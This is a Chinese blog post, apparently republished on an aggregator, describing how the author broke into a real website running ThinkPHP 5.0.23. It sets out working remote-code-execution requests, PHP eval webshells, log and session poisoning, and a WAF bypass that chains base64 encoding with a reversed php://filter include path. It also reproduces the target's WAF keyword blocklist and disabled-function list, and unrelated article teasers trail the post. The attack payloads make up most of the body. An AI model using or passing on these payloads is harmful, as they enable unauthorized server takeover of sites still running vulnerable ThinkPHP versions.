记一次有趣的tp5代码执行

news2025/2/28 3:06:11

目录

0x00 前言

0x01 基础信息

0x02 突破

base64编码与php://filter伪协议

tp 5 method代码执行的细节

0x03 总结

免费领取安全学习资料包!(私聊进群一起学习,共同进步)​编辑


0x00 前言

朋友之前给了个站,拿了很久终于拿下,简单记录一下。

0x01 基础信息

  • 漏洞点:tp 5 method 代码执行,payload如下

    POST /?s=captcha
    
    _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
  • 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23

  • 有waf,waf拦截了以下内容

    php标记:
    <?php
    <?=
    <?
    
    php 函数:
    base64_decode
    file_get_contents
    convert_uuencode
    
    关键字:
    php://
  • linux

  • disable_function禁用了以下函数

    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
  • php 7.1.7 (虽然assert 函数不在disable_function中,但已经无法用call_user_func回调调用)

0x02 突破

现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种:

1,写日志,包含日志 getshell 。payload如下:

写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

2,写session,包含session getshell。payload如下:

写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking


_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含session getshell
POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1

而这两种方式在这里都不可用,因为waf对<?php等关键字进行了拦截,还有其他办法吗?

base64编码与php://filter伪协议

倘若能够对关键字进行变形或者编码就好了,比如base64编码:

假如我们的session 文件为/tmp/sess_kking,内容如下

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
<?php @eval($_GET['r']);;?>

因为最终的利用是通过inlcude方法进行包含,其实很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式进行解码

最终执行类似如下:

include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');

但是session里面是会有其他字符的

如何让php://filter正确的解码呢?
p神的谈一谈php://filter的妙用文章有谈到如何巧妙用php://filterbase64编码绕过死亡exit

那么这里也一样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。

本地测试

第一步,设置session

POST /?s=captcha_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

(注意:这里的+号需要用urlencode编码为%2b,不然会在写入session的时候被urldecode为空格,导致编码解码失败)。

疑问点1:为什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,

答:是因为直接使用前者无论怎么拼凑字符,都没法正常解码。

疑问点2:为什么payload前后会有两个ab

答:是为了让shell payload 的前后两串字符串满足base64解码的长度,使其能正常解码。

第二步,包含,成功执行代码:

本地测试如此,但是在目标测试会发现执行不了,因为我们的payload使用了php://filter的协议包含了php://关键字

怎么让才能让其没有关键字呢?

tp 5 method代码执行的细节

让我们仔细观察代码执行的Request.phpfilterValue方法是如何执行代码的。

我们注意到filter其实是可以传递多个的,同时参数为参数引用。

那么其实我们就可以传递多个filter来对value进行多次传递处理。如先base64_decode后将解码后的值传递给include进行包含。

但在线上这个waf是对base64_decode这个函数进行了过滤的,经过测试发现可以使用strrev反转函数突破。考虑到waf的问题,我们使用的shell payload加多一层base64编码。

同样道理这里的payload为什么要多几个分号就不需要再解释了

回到我们的getshell步骤,在目标上执行

1,设置session

POST /?s=captcha
Cookie: PHPSESSID=kktest

_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

(payload前后两个ab同样是为了base64解码凑字符的原因)

2,文件包含

POST /?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

最终成功绕过防火墙getshell

0x03 总结

总的来说挺有趣的,搞了很久,最终成功getshell也是非常的爽。(好在没放弃:)
不妥之处,烦请指出~

免费领取安全学习资料包!(私聊进群一起学习,共同进步)

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1158274.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一对一发放私密成绩:成绩查询系统全攻略

有没有想过让学生自助查询成绩&#xff1f;介绍一种全新的成绩查询系统&#xff0c;帮你实现一对一发放私密成绩。 一、如何用代码实现学生自助查询成绩&#xff1f; 如果你是一名懂得编程的老师&#xff0c;那么你可以考虑使用Python编写一个简单的成绩查询系统。下面是一个基…

Sqoop的安装和使用

目录 一.安装 二.导入 1.全量导入 一.MySQL导入HDFS 二.MySQL导入Hive 2.增量导入 一.过滤导入hdfs/hive 二.导出 一.安装 1.下载地址&#xff1a;sqoop下载地址 2.解压 tar -zxvf ./sqoop-1.4.7.bin__hadoop-2.6.0.tar.gz -C ../module/ 3.改名和配置归属权限 #改名…

ChatGPT将迎来巨大更新!变得无所不能!

此次更新&#xff0c;主要是2点&#xff1a; 1、直接可以与PDF和数据文件对话&#xff0c;只需上传即可完成聊天 2、不用来回切换联网、作图功能&#xff0c;已经将这些功能进行了集成&#xff0c;直接在对话中使用即可&#xff0c;比如之前的联网&#xff08;Browse with Bi…

【教程】R语言生物群落(生态)数据统计分析与绘图

查看原文>>>R语言生物群落&#xff08;生态&#xff09;数据统计分析与绘图实践 暨融合《R语言基础》、《tidyverse数据清洗》、《多元统计分析》、《随机森林模型》、《回归及混合效应模型》、《结构方程模型》、《统计结果作图》七合一版本方案 R 语言作的开源、自…

求职应聘,请问笔试题,面试题,性格测评题是什么?

各家企业的面试测评&#xff0c;可能各不相同&#xff0c;如果要想得到原题有两种办法&#xff1a; 1、做过的同学&#xff0c;记住了原题&#xff0c;也在玩知乎&#xff0c;正好看到了你的提问&#xff0c;而且他很乐意回答这个问题&#xff0c;也不嫌码字辛苦。这个概率不高…

首次实现容错量子计算机!奥地利展示量子实力

&#xff08;图片来源&#xff1a;网络&#xff09; 奥地利因斯布鲁克大学的实验物理学家首次在容错量子比特上实现通用计算&#xff0c;并演示了如何在一台量子计算机上编程。 虽然当代计算机采用了高质量的制造方法&#xff0c;大大降低了信息处理和存储过程中出现错误的概…

如何编制一个集团公司的数字化转型总体规划?

目录 如何做好企业信息化战略规划&#xff1f; 01 先要立足根本、明确目标 02 信息化推进要由上而下&#xff0c;先易后难 03 强调“流程”与“数据”并重 04 信息化过程要整体规划&#xff0c;分步实施 企业的信息化系统建设 ERP&#xff1a;企业资源计划 MES&#xf…

品牌设计服务展示预约小程序的作用

对企业商家来说&#xff0c;线上线下服务/产品/场景等都需要展示自己的品牌形象&#xff0c;一个好的设计&#xff08;封面/图案/logo等&#xff09;往往能起到引流、增强信任度、提升形象等作用&#xff0c;因此品牌设计服务的需求度一直很高。 对品牌设计企业来说&#xff0…

社区投稿|解码Big Vector,开启Sui超扩展性的新篇章

* 本文是来自Sui生态项目Typus团队的投稿&#xff0c;文中「我们」均指代该项目团队&#xff0c;转载时修改部分不准确的用词。 本研究报告介绍了Big Vector的概念&#xff0c;这是一种我们用于 Typus V2 的新数据结构&#xff0c;以缓解 Sui 上数组和动态字段(dynamic field)…

怎么让小程序排名靠前?小程序搜索排名问题

小程序的排名是十分重要的&#xff0c;因为这会直接影响到用户的点击率&#xff0c;用户在搜索小程序时&#xff0c;会看到搜索引擎的前几条搜索结果&#xff0c;如果您的小程序不在这些位置上&#xff0c;很可能就会被忽略&#xff0c;所以&#xff0c;想要让用户能够看到您的…

【广州华锐互动】VR虚拟现实旅游:改变游客旅游方式,提升旅游体验

虚拟现实&#xff08;Virtual Reality&#xff0c;简称VR&#xff09;是一种利用电脑模拟产生一个三维的虚拟世界&#xff0c;提供用户关于视觉、听觉、触觉等感官的模拟体验。随着科技的进步&#xff0c;VR虚拟现实技术已逐渐进入各行各业&#xff0c;尤其在旅游行业中的应用&…

佩戴比较舒适的蓝牙耳机有哪些?几款戴着很舒服的蓝牙耳机推荐

你是否感到困扰&#xff1f;佩戴普通的入耳蓝牙耳机久了&#xff0c;很容易引发耳朵的不适感&#xff0c;甚至对耳膜造成一定程度的损伤&#xff1f;现在有一种开放式的耳机出现在大家的视野中。这种耳机利用了骨传导传声的独特特性&#xff0c;只需要挂在耳朵上就能享受到音乐…

大模型开启人工智能的新时代

大模型是指具有非常大的参数数量的人工神经网络模型。在深度学习领域&#xff0c;大模型通常是指具有数亿到数万亿参数的模型。这些模型通常需要在大规模数据集上进行训练&#xff0c;并且需要使用大量的计算资源进行优化和调整。 大模型通常用于解决复杂的自然语言处理、计算…

MacBook风扇这么响,原来是因为这些细节没注意!

你有没有发现&#xff0c;你的MacBook风扇总是在不经意间声音特别大&#xff1f;平时我们的Mac需要做一些繁重的工作。例如&#xff0c;当涉及到Web开发&#xff0c;照片修饰和视频编辑时。听到我们的MacBook Pro风扇控制器弹起并且MacBook Pro风扇的噪音增大&#xff0c;因为我…

C++继承——圆形和圆柱体

C继承 Circular圆形类 /*圆形类*/ class Circular { private:const static double PI;double R 0; public:Circular() default;Circular(double r);double GetArea(); /*圆面积*/double GetGirth(); /*圆周长*/ }; const double Circular::PI 3.14;Circular::Circula…

实习答点。

计数单————>变成记录采购开单的记录表&#xff0c;实时的进行数据比较和统计。 具有&#xff1a; 采购前可以提供实时的数据比较&#xff0c;选择最合适的物品进行采购。 1.警戒库存 通过日期范围进行分析比较往年的采购量和库存量进行比较&#xff0c;进行判断今年的…

Q-CTRL首次在量子市场获得ISO 27001国际标准认证

​&#xff08;图片来源&#xff1a;网络&#xff09; 国际公认的ISO 27001标准概述了信息安全管理系统&#xff08;ISMS&#xff09;的实施&#xff0c;并表现了管理风险的能力&#xff0c;包括与客户数据安全相关的风险。总部位于悉尼的Q-CTRL是第一家获得ISO 27001认证的独…

数据结构 —— Java自定义代码实现顺序表,包含测试用例以及ArrayList的使用以及相关算法题

&#x1f9f8;欢迎来到dream_ready的博客&#xff0c;&#x1f4dc;相信你对这篇博客也感兴趣o (ˉ▽ˉ&#xff1b;) &#x1f4dc;ArrayList简介及使用全方位手把手教学(带源码)&#xff0c;用ArrayList实现洗牌算法&#xff0c;3个人轮流拿牌(带全部源码) 目录 顺序表简介 …

法律咨询服务预约小程序的作用

纠纷不断&#xff0c;法律服务的需求度非常高&#xff0c;公司/个人在多个场景都有可能使用到法律业务&#xff0c;对相关咨询机构来说&#xff0c;需要不断拓展客源和品牌宣传以获得更多生意增长&#xff0c;然而线下拓展困难&#xff0c;线上是商家们发展的必要渠道。 那么通…

怎么在现货黄金交易过程中高效设置止损?

投资市场中的风险具有客观及普遍性&#xff0c;现货黄金买卖也是如此&#xff0c;作为典型的国际性交易产品之中&#xff0c;在现货黄金买卖过程中人们要灵活应对行情变化&#xff0c;从中争取盈利空间。而设置止损就是防止风险扩大的一条有效措施&#xff0c;所以炒金者们应当…